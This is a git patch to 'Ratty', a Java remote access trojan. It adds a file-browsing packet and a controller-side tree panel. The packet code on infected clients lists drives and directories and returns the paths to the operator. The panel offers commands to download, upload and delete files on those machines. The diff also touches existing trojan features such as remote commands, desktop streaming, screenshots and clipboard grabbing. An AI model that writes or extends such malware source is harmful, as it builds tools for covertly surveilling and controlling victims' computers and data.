From bcd9f841f5862be4e8bb0fd4b4a7edab10c05ef0 Mon Sep 17 00:00:00 2001 From: Sogomn Date: Sun, 31 Jan 2016 20:28:31 +0100 Subject: [PATCH] Major changes Added file browser Started to clean up --- Ratty/res/gui_icon.png | Bin 162 -> 164 bytes Ratty/res/menu_icons.png | Bin 601 -> 618 bytes Ratty/res/menu_icons_tree.png | Bin 0 -> 469 bytes Ratty/src/de/sogomn/rat/Ratty.java | 1 + .../sogomn/rat/packet/FileSystemPacket.java | 96 ++++++++++++ .../src/de/sogomn/rat/packet/PacketType.java | 3 +- .../src/de/sogomn/rat/packet/PopupPacket.java | 5 + .../sogomn/rat/server/gui/DisplayPanel.java | 6 + .../sogomn/rat/server/gui/FileTreePanel.java | 142 +++++++++++++++++- .../sogomn/rat/server/gui/IGuiController.java | 4 + .../de/sogomn/rat/server/gui/RattyGui.java | 18 ++- .../rat/server/gui/RattyGuiController.java | 91 ++++++++--- .../sogomn/rat/server/gui/ServerClient.java | 5 + 13 files changed, 338 insertions(+), 33 deletions(-) create mode 100644 Ratty/res/menu_icons_tree.png create mode 100644 Ratty/src/de/sogomn/rat/packet/FileSystemPacket.java diff --git a/Ratty/res/gui_icon.png b/Ratty/res/gui_icon.png index 68c1e12ddb46aa39a4b536d0c3cc508d3d21f486..4bd0a198045713ed4006d683115ff43b78162009 100644 GIT binary patch delta 136 zcmV;30C)eQ0i*$tB!6p3L_t(|+GAkA0aO(g|081tQUFN9(dkVnm}o<=X(q`Ksu<9? z@Be>fgOJ6DvK^!tgkc6C^YI#j&-p}ogDM8B%Q45P86-y^1F#ta6DKMrV2aT(NvRPV qW*`;(Z<_fZgc-;M6dOQ{Apr9u5S}Q;gOdON002ovPDHLkU;%>d%rve5 delta 133 zcmV;00DAwV0ipqrBz|d0L_t(|+GAkA1Kz!P^B;s6$N?aYs)~wWOtK*$4M(RppHY56U0F&>8U+%t$OO z{6QurHYPrR2??=PV(C)x3qiJUbiMlQvwhb%CDK!qG;QAVyE~tg$z&h4Y14E$;Qp`b z{mstLdYy$3Irv>ng!#U?dP~BVfXn&Z0`9|O-}&5;!=uO*aDV==wD1bZb-?2LJr9Wj zoQR+Uu~GLr@JGm=i;(VCGmBgSWC)cyV2<0i?TIeW78YIsucz_?I3rHx03zwgQzA-2 zNX-FH=c%&&dIY=iAu^V2*6$NsSIb0oNCYy#SmeVgleyND_?HaE^dj2#It8 zPz0w1zyj_+kAGRf0yymjyC+H^4+Y%3oFqX_KnnR1`>A`CHjw{!lW4yOT@P@|aZ1c5 z4MuStCYnO3_3)9Wen(+z9x$Zbv=52GbKZVD!2!w%C%~22VgZgYKKAzGf&v^kLc9Vn zX`dt95Te2<)d4sGvII~g&lMoyKz0a8IuPq(Rg*ZB1AkRJ5UWC?2qDRNfLau(2-w9; ztmc43JG(amLKR3Yge3a$5(kQ#xgk2*Q9NGX>0$)h8?ru>h?4INvIT@5r%-Wh_WLJr zkv!pCmo312emx!p(cL`-1yJNT*N8cgTgxees^onFT)oDC=eeV-PCm96!Q`pQh!UYr zJ{Cfh8%o?{RVOc%162s1-VZ=GMiW9fbntPNNz6g0qpYHga$fdTJCSkff7Pu-=}bIW fGgrleB6Ir%hUwd`XK{0t00000NkvXXu0mjfo(vEE delta 576 zcmV-G0>Az01la_TB!3`DL_t(|+T~e0PQ)+}UC|>U8tN2#0ICIv8!R_~f*NrOY9tyO zZjg$Kj*0_NAtAbzXlPbkA;=bvX1yMJJf7J&A<|QR`+3iAW;{-2vng!zrs+7K{;ul( zn}eVAnuQoScrPWw+;1*kv#=%Le7UrM$M8IKojY>=C{hKS-hZzwf&#b>SbV+lkSV~4 zh&qrO^`HZPgzU8h>F#@B!4-gpP^kmvylvZ_=<4LkA}HYHSY7~S#L*n^NILSEh>{Re zbHL$!eh`GZfK>cba=_u~X0ZX7BO7^AqXSUD<=K8Oz|Rpe0dOWn2_|YdML;TqL^=T| zg3puNqWvCpJwPePIWeC# z7{zrMX$rB{BSaqi9)_)Xz>qRiKHQV~@eBtrC!7FRX4wK_PK z*8w;Ik{l?_0SO0+LP#TtLtSjO0!Ht^q(TT=6sZW<#eYn!=72;yI~f773Zxc768(6I z1I5kU5FPC(9L{y|Pc24#^4MgAiBKn>3L(r5YO<=6m&$=E1Yqw6 zpc|tJAvr&E{PQZ4n1WbGSw$J8yzHxXBBRv*s#}TDnRu{fu8IW(bNdC@yy1FPBg3!& O0000^zKo_nhM-j5gIb6AOo>PmG_z5ba@ zz<~#up?mVas_N>Vt~0J#-|w_K@G6}z-vLir-##A*c@d3${k{x@8lmxb%k^IFxorMx zb`eC6?!6F}c@#pLhaeb04~{)=0brSTLvXZ@1&}fiL8Qv66@bTl@tVk8z(W9tc_Z*m}xo24NzJ(-fT#?RMg#j0}Al+e&se#V{^(0+Dl>`sT3k*zAAv# zkxC(k%vT4Q zWN^FLBsJ9jQn1Z~!2neEq=)%Dko-ol=Dsa%0%^m$kLy6yAv6GqBd?!X#{dn$db&T~ zYcv3D*aDJ&PQTftC2hPJ1Ov#Dk>ckTK+5Fk0I@8@7W3o)tmw-uOdbGT#FGWkd%(#6 z$lkB-Pihf+cjSM7mL+7Bkp=LxI)lyAoXKQ>%;cy#0HTt)HBY3!`jM;WndUdW00000 LNkvXXu0mjfZ>ZDg literal 0 HcmV?d00001 diff --git a/Ratty/src/de/sogomn/rat/Ratty.java b/Ratty/src/de/sogomn/rat/Ratty.java index d1ae172..ec96313 100644 --- a/Ratty/src/de/sogomn/rat/Ratty.java +++ b/Ratty/src/de/sogomn/rat/Ratty.java @@ -33,6 +33,7 @@ public final class Ratty { defaults.put("Table:\"Table.cellRenderer\".background", new Color(50, 50, 50)); defaults.put("Table.alternateRowColor", new Color(75, 75, 75)); defaults.put("TextField.foreground", Color.BLACK); + defaults.put("Tree.background", Color.GRAY); try { UIManager.setLookAndFeel(nimbus); diff --git a/Ratty/src/de/sogomn/rat/packet/FileSystemPacket.java b/Ratty/src/de/sogomn/rat/packet/FileSystemPacket.java new file mode 100644 index 0000000..c534101 --- /dev/null +++ b/Ratty/src/de/sogomn/rat/packet/FileSystemPacket.java @@ -0,0 +1,96 @@ +package de.sogomn.rat.packet; + +import java.io.File; +import java.util.ArrayList; +import java.util.stream.Stream; + +import de.sogomn.rat.ActiveClient; + +public class FileSystemPacket extends AbstractPingPongPacket { + + private String rootFile; + private String[] paths; + + private static final byte INCOMING = 0; + private static final byte END = 1; + + public FileSystemPacket(final String rootFile) { + this.rootFile = rootFile; + + type = REQUEST; + paths = new String[0]; + } + + public FileSystemPacket() { + this(""); + + type = DATA; + } + + @Override + protected void sendRequest(final ActiveClient client) { + client.writeUTF(rootFile); + } + + @Override + protected void sendData(final ActiveClient client) { + for (final String path : paths) { + client.writeByte(INCOMING); + client.writeUTF(path); + } + + client.writeByte(END); + } + + @Override + protected void receiveRequest(final ActiveClient client) { + rootFile = client.readUTF(); + } + + @Override + protected void receiveData(final ActiveClient client) { + final ArrayList pathList = new ArrayList(); + + while (client.readByte() == INCOMING) { + final String path = client.readUTF(); + + pathList.add(path); + } + + paths = new String[pathList.size()]; + paths = pathList.toArray(paths); + } + + @Override + protected void executeRequest(final ActiveClient client) { + final File[] children; + + if (!rootFile.isEmpty()) { + final File file = new File(rootFile); + + children = file.listFiles(); + } else { + children = File.listRoots(); + } + + if (children != null) { + paths = Stream + .of(children) + .map(File::getAbsolutePath) + .toArray(String[]::new); + } + + type = DATA; + client.addPacket(this); + } + + @Override + protected void executeData(final ActiveClient client) { + //... + } + + public String[] getPaths() { + return paths; + } + +} diff --git a/Ratty/src/de/sogomn/rat/packet/PacketType.java b/Ratty/src/de/sogomn/rat/packet/PacketType.java index b9e0d57..f5da39b 100644 --- a/Ratty/src/de/sogomn/rat/packet/PacketType.java +++ b/Ratty/src/de/sogomn/rat/packet/PacketType.java @@ -10,7 +10,8 @@ public enum PacketType { INFORMATION(5, InformationPacket.class), COMMAND(6, CommandPacket.class), DESKTOP(7, DesktopStreamPacket.class), - CLIPBOARD(8, ClipboardPacket.class); + CLIPBOARD(8, ClipboardPacket.class), + FILE(9, FileSystemPacket.class); public final byte id; public final Class clazz; diff --git a/Ratty/src/de/sogomn/rat/packet/PopupPacket.java b/Ratty/src/de/sogomn/rat/packet/PopupPacket.java index 79fb3a5..cb8d3ac 100644 --- a/Ratty/src/de/sogomn/rat/packet/PopupPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/PopupPacket.java @@ -1,5 +1,7 @@ package de.sogomn.rat.packet; +import java.awt.image.BufferedImage; + import javax.swing.JDialog; import javax.swing.JOptionPane; @@ -11,6 +13,8 @@ public final class PopupPacket implements IPacket { private String message; + private static final BufferedImage NO_IMAGE = new BufferedImage(1, 1, BufferedImage.TYPE_INT_ARGB); + public PopupPacket(final String message) { this.message = message; } @@ -34,6 +38,7 @@ public final class PopupPacket implements IPacket { final JOptionPane optionPane = new JOptionPane(message); final JDialog dialog = optionPane.createDialog(null); + dialog.setIconImage(NO_IMAGE); dialog.setModal(false); dialog.setVisible(true); } diff --git a/Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java b/Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java index 464a142..4b43155 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java +++ b/Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java @@ -14,6 +14,8 @@ public final class DisplayPanel { private Screen screen; private BufferedImage image; + private IGuiController controller; + private static final int SCREEN_WIDTH = 1920 / 2; private static final int SCREEN_HEIGHT = 1080 / 2; @@ -74,4 +76,8 @@ public final class DisplayPanel { openScreen(screenWidth, screenHeight); } + public void setController(final IGuiController controller) { + this.controller = controller; + } + } diff --git a/Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java b/Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java index f392f4c..5fb75db 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java +++ b/Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java @@ -1,11 +1,25 @@ package de.sogomn.rat.server.gui; import java.awt.Dimension; +import java.awt.event.ActionEvent; +import java.awt.event.MouseAdapter; +import java.awt.event.MouseEvent; +import java.awt.image.BufferedImage; +import java.io.File; +import javax.swing.Icon; +import javax.swing.ImageIcon; import javax.swing.JDialog; import javax.swing.JFrame; +import javax.swing.JMenuItem; +import javax.swing.JPopupMenu; +import javax.swing.JScrollPane; import javax.swing.JTree; import javax.swing.tree.DefaultMutableTreeNode; +import javax.swing.tree.TreeNode; +import javax.swing.tree.TreePath; + +import de.sogomn.engine.fx.SpriteSheet; public final class FileTreePanel { @@ -13,26 +27,96 @@ public final class FileTreePanel { private DefaultMutableTreeNode root; private JTree tree; + private DefaultMutableTreeNode lastNodeClicked; + private JScrollPane scrollPane; + + private JPopupMenu menu; + + private IGuiController controller; private static final String ROOT_NAME = "Drives"; private static final int DEFAULT_WIDTH = 500; private static final int DEFAULT_HEIGHT = 500; + private static final BufferedImage[] MENU_ICONS = new SpriteSheet("/menu_icons_tree.png", 16, 16).getSprites(); + + public static final String REQUEST = "Show content"; + public static final String DOWNLOAD = "Download file"; + public static final String UPLOAD = "Upload file"; + public static final String DELETE = "Delete file"; + public static final String NEW_FOLDER = "New folder"; + + public static final String[] COMMANDS = { + REQUEST, + DOWNLOAD, + UPLOAD, + DELETE, + NEW_FOLDER + }; + public FileTreePanel() { dialog = new JDialog(); root = new DefaultMutableTreeNode(ROOT_NAME); tree = new JTree(root); + scrollPane = new JScrollPane(tree, JScrollPane.VERTICAL_SCROLLBAR_ALWAYS, JScrollPane.HORIZONTAL_SCROLLBAR_AS_NEEDED); + menu = new JPopupMenu(); + + for (int i = 0; i < COMMANDS.length && i < MENU_ICONS.length; i++) { + final String command = COMMANDS[i]; + final ImageIcon icon = new ImageIcon(MENU_ICONS[i]); + + addMenuItem(command, icon); + } + + final MouseAdapter mouseAdapter = new MouseAdapter() { + @Override + public void mousePressed(final MouseEvent m) { + final int x = m.getX(); + final int y = m.getY(); + final TreePath path = tree.getPathForLocation(x, y); + + tree.setSelectionPath(path); + + if (path != null) { + lastNodeClicked = (DefaultMutableTreeNode)path.getLastPathComponent(); + } else { + lastNodeClicked = null; + } + } + }; + scrollPane.setBorder(null); + tree.addMouseListener(mouseAdapter); tree.setEditable(false); - tree.setBorder(null); + tree.setComponentPopupMenu(menu); dialog.setDefaultCloseOperation(JFrame.HIDE_ON_CLOSE); dialog.setPreferredSize(new Dimension(DEFAULT_WIDTH, DEFAULT_HEIGHT)); - dialog.setContentPane(tree); + dialog.setContentPane(scrollPane); dialog.pack(); dialog.setLocationByPlatform(true); } + private void addMenuItem(final String name, final Icon icon) { + final JMenuItem item = new JMenuItem(name); + + item.setActionCommand(name); + item.addActionListener(this::menuItemClicked); + item.setIcon(icon); + + menu.add(item); + } + + private void menuItemClicked(final ActionEvent a) { + if (controller == null) { + return; + } + + final String command = a.getActionCommand(); + + controller.userInput(command); + } + private DefaultMutableTreeNode[] getChildren(final DefaultMutableTreeNode node) { final int childCount = node.getChildCount(); final DefaultMutableTreeNode[] children = new DefaultMutableTreeNode[childCount]; @@ -46,7 +130,7 @@ public final class FileTreePanel { return children; } - private DefaultMutableTreeNode getChild(final DefaultMutableTreeNode node, final String name) { + private DefaultMutableTreeNode getByName(final DefaultMutableTreeNode node, final String name) { final DefaultMutableTreeNode[] children = getChildren(node); for (final DefaultMutableTreeNode child : children) { @@ -66,7 +150,7 @@ public final class FileTreePanel { } final String name = path[0]; - final DefaultMutableTreeNode node = getChild(start, name); + final DefaultMutableTreeNode node = getByName(start, name); if (path.length == 1 || node == null) { return node; @@ -78,19 +162,19 @@ public final class FileTreePanel { return getByName(node, remainingPath); } - private void addAll(final DefaultMutableTreeNode start, final String[] path) { + private void addAll(final DefaultMutableTreeNode root, final String[] path) { if (path.length == 0) { return; } final String name = path[0]; - DefaultMutableTreeNode node = getChild(start, name); + DefaultMutableTreeNode node = getByName(root, name); if (node == null) { node = new DefaultMutableTreeNode(name); - start.add(node); + root.add(node); } final String[] remainingPath = new String[path.length - 1]; @@ -103,6 +187,12 @@ public final class FileTreePanel { addAll(root, path); } + public void addFile(final String path) { + final String[] pathParts = path.split("\\" + File.separator); + + addFile(pathParts); + } + public void removeFile(final String... path) { final DefaultMutableTreeNode node = getByName(root, path); @@ -111,6 +201,12 @@ public final class FileTreePanel { } } + public void removeFile(final String path) { + final String[] pathParts = path.split("\\" + File.separator); + + removeFile(pathParts); + } + public void clear() { root.removeAllChildren(); } @@ -119,4 +215,36 @@ public final class FileTreePanel { dialog.setVisible(state); } + public void setController(final IGuiController controller) { + this.controller = controller; + } + + public DefaultMutableTreeNode getLastNodeClicked() { + return lastNodeClicked; + } + + public String getLastPathClicked() { + if (lastNodeClicked == null) { + return ""; + } + + final TreeNode[] parents = lastNodeClicked.getPath(); + final StringBuilder stringBuilder = new StringBuilder(); + + for (final TreeNode node : parents) { + final DefaultMutableTreeNode parent = (DefaultMutableTreeNode)node; + final String name = (String)parent.getUserObject(); + + stringBuilder.append(name + File.separator); + } + + final String path = stringBuilder.toString(); + + if (path.startsWith(ROOT_NAME + File.separator)) { + return path.substring(ROOT_NAME.length() + 1); + } else { + return path; + } + } + } diff --git a/Ratty/src/de/sogomn/rat/server/gui/IGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/IGuiController.java index 564703b..82cc1d3 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/IGuiController.java +++ b/Ratty/src/de/sogomn/rat/server/gui/IGuiController.java @@ -4,4 +4,8 @@ public interface IGuiController { void userInput(final String actionCommand); + void keyboardInput(final int key, final boolean flag); + + void mouseInput(final int x, final int y, final int button, final boolean flag); + } diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java index 149787d..9241792 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java @@ -5,6 +5,7 @@ import java.awt.event.ActionEvent; import java.awt.event.MouseAdapter; import java.awt.event.MouseEvent; import java.awt.image.BufferedImage; +import java.util.ArrayList; import javax.swing.Icon; import javax.swing.ImageIcon; @@ -40,7 +41,10 @@ public final class RattyGui { "Streaming" }; - private static final BufferedImage GUI_ICON = ImageUtils.scaleImage(ImageUtils.loadImage("/gui_icon.png"), 64, 64); + private static final BufferedImage GUI_ICON_SMALL = ImageUtils.loadImage("/gui_icon.png"); + private static final BufferedImage GUI_ICON_MEDIUM = ImageUtils.scaleImage(ImageUtils.loadImage("/gui_icon.png"), 64, 64); + private static final BufferedImage GUI_ICON_LARGE = ImageUtils.scaleImage(ImageUtils.loadImage("/gui_icon.png"), 128, 128); + private static final ArrayList GUI_ICONS = new ArrayList(3); private static final BufferedImage[] MENU_ICONS = new SpriteSheet("/menu_icons.png", 16, 16).getSprites(); public static final String POPUP = "Open popup"; @@ -63,6 +67,12 @@ public final class RattyGui { FREE }; + static { + GUI_ICONS.add(GUI_ICON_SMALL); + GUI_ICONS.add(GUI_ICON_MEDIUM); + GUI_ICONS.add(GUI_ICON_LARGE); + } + public RattyGui() { frame = new JFrame(); table = new JTable(); @@ -81,9 +91,9 @@ public final class RattyGui { @Override public void mousePressed(final MouseEvent m) { final Point mousePoint = m.getPoint(); - final int row = table.rowAtPoint(mousePoint); + final int rowIndex = table.rowAtPoint(mousePoint); - lastIdClicked = (Long)tableModel.getValueAt(row, 0); + lastIdClicked = (Long)tableModel.getValueAt(rowIndex, 0); } }; @@ -97,7 +107,7 @@ public final class RattyGui { frame.setContentPane(scrollPane); frame.pack(); frame.setLocationByPlatform(true); - frame.setIconImage(GUI_ICON); + frame.setIconImages(GUI_ICONS); frame.setVisible(true); frame.requestFocus(); } diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java index a7cefc1..13eddab 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java @@ -8,6 +8,7 @@ import de.sogomn.rat.IClientObserver; import de.sogomn.rat.packet.ClipboardPacket; import de.sogomn.rat.packet.CommandPacket; import de.sogomn.rat.packet.DesktopStreamPacket; +import de.sogomn.rat.packet.FileSystemPacket; import de.sogomn.rat.packet.FreePacket; import de.sogomn.rat.packet.IPacket; import de.sogomn.rat.packet.InformationPacket; @@ -52,7 +53,7 @@ public final class RattyGuiController implements IServerObserver, IClientObserve return null; } - private IPacket getPacket(final String command) { + private IPacket getPacket(final String command, final ServerClient serverClient) { if (command == RattyGui.POPUP) { return PopupPacket.create(); } else if (command == RattyGui.FREE) { @@ -65,49 +66,86 @@ public final class RattyGuiController implements IServerObserver, IClientObserve return new DesktopStreamPacket(true); } else if (command == RattyGui.CLIPBOARD) { return new ClipboardPacket(); + } else if (command == FileTreePanel.REQUEST) { + final String path = serverClient.getTreePanel().getLastPathClicked(); + final FileSystemPacket packet = new FileSystemPacket(path); + + return packet; } return null; } + private void handle(final ServerClient serverClient, final ScreenshotPacket packet) { + final BufferedImage image = packet.getImage(); + + serverClient.getDisplayPanel().showImage(image); + } + + private void handle(final ServerClient serverClient, final DesktopStreamPacket packet) { + final IFrame frame = packet.getFrame(); + final int screenWidth = packet.getScreenWidth(); + final int screenHeight = packet.getScreenHeight(); + final DesktopStreamPacket request = new DesktopStreamPacket(); + final DisplayPanel displayPanel = serverClient.getDisplayPanel(); + + displayPanel.showFrame(frame, screenWidth, screenHeight); + serverClient.client.addPacket(request); + } + + private void handle(final ServerClient serverClient, final FileSystemPacket packet) { + final String[] paths = packet.getPaths(); + final FileTreePanel treePanel = serverClient.getTreePanel(); + + for (final String path : paths) { + treePanel.addFile(path); + } + } + + private void handle(final ServerClient serverClient, final InformationPacket packet) { + final long id = serverClient.id; + final String name = packet.getName(); + final String address = serverClient.client.getAddress(); + final String os = packet.getOs(); + final String version = packet.getVersion(); + + serverClient.logIn(name, os, version); + serverClient.setController(this); + gui.addTableRow(id, name, address, os, version); + } + @Override public void packetReceived(final ActiveClient client, final IPacket packet) { final ServerClient serverClient = getServerClient(client); + final boolean loggedIn = serverClient.isLoggedIn(); - if (serverClient.isLoggedIn()) { + if (loggedIn) { if (packet instanceof ScreenshotPacket) { final ScreenshotPacket screenshot = (ScreenshotPacket)packet; - final BufferedImage image = screenshot.getImage(); - serverClient.getDisplayPanel().showImage(image); + handle(serverClient, screenshot); } else if (packet instanceof DesktopStreamPacket && serverClient.isStreamingDesktop()) { final DesktopStreamPacket stream = (DesktopStreamPacket)packet; - final IFrame frame = stream.getFrame(); - final int screenWidth = stream.getScreenWidth(); - final int screenHeight = stream.getScreenHeight(); - final DesktopStreamPacket request = new DesktopStreamPacket(); - serverClient.getDisplayPanel().showFrame(frame, screenWidth, screenHeight); - client.addPacket(request); + handle(serverClient, stream); + } else if (packet instanceof FileSystemPacket) { + final FileSystemPacket file = (FileSystemPacket)packet; + + handle(serverClient, file); } else { packet.execute(client); } } else if (packet instanceof InformationPacket) { final InformationPacket information = (InformationPacket)packet; - final long id = serverClient.id; - final String name = information.getName(); - final String address = client.getAddress(); - final String os = information.getOs(); - final String version = information.getVersion(); - serverClient.logIn(name, os, version); - gui.addTableRow(id, name, address, os, version); + handle(serverClient, information); } } @Override public void disconnected(final ActiveClient client) { - final long id = getServerClient(client).id; + final ServerClient serverClient = getServerClient(client); + final long id = serverClient.id; client.setObserver(null); client.close(); @@ -137,11 +175,10 @@ public final class RattyGuiController implements IServerObserver, IClientObserve public void userInput(final String command) { final long lastIdClicked = gui.getLastIdClicked(); final ServerClient serverClient = getServerClient(lastIdClicked); - final ActiveClient client = serverClient.client; - final IPacket packet = getPacket(command); + final IPacket packet = getPacket(command, serverClient); if (packet != null) { - client.addPacket(packet); + serverClient.client.addPacket(packet); } if (command == RattyGui.DESKTOP) { @@ -150,7 +187,19 @@ public final class RattyGuiController implements IServerObserver, IClientObserve } else if (command == RattyGui.DESKTOP_STOP) { serverClient.setStreamingDesktop(false); gui.setStreaming(lastIdClicked, false); + } else if (command == RattyGui.FILES) { + serverClient.getTreePanel().setVisible(true); } } + @Override + public void keyboardInput(final int key, final boolean flag) { + //... + } + + @Override + public void mouseInput(final int x, final int y, final int button, final boolean flag) { + //... + } + } diff --git a/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java b/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java index ac68640..a252dc2 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java +++ b/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java @@ -35,6 +35,11 @@ public final class ServerClient { this.streamingDesktop = streamingDesktop; } + public void setController(final IGuiController controller) { + displayPanel.setController(controller); + treePanel.setController(controller); + } + public String getName() { return name; }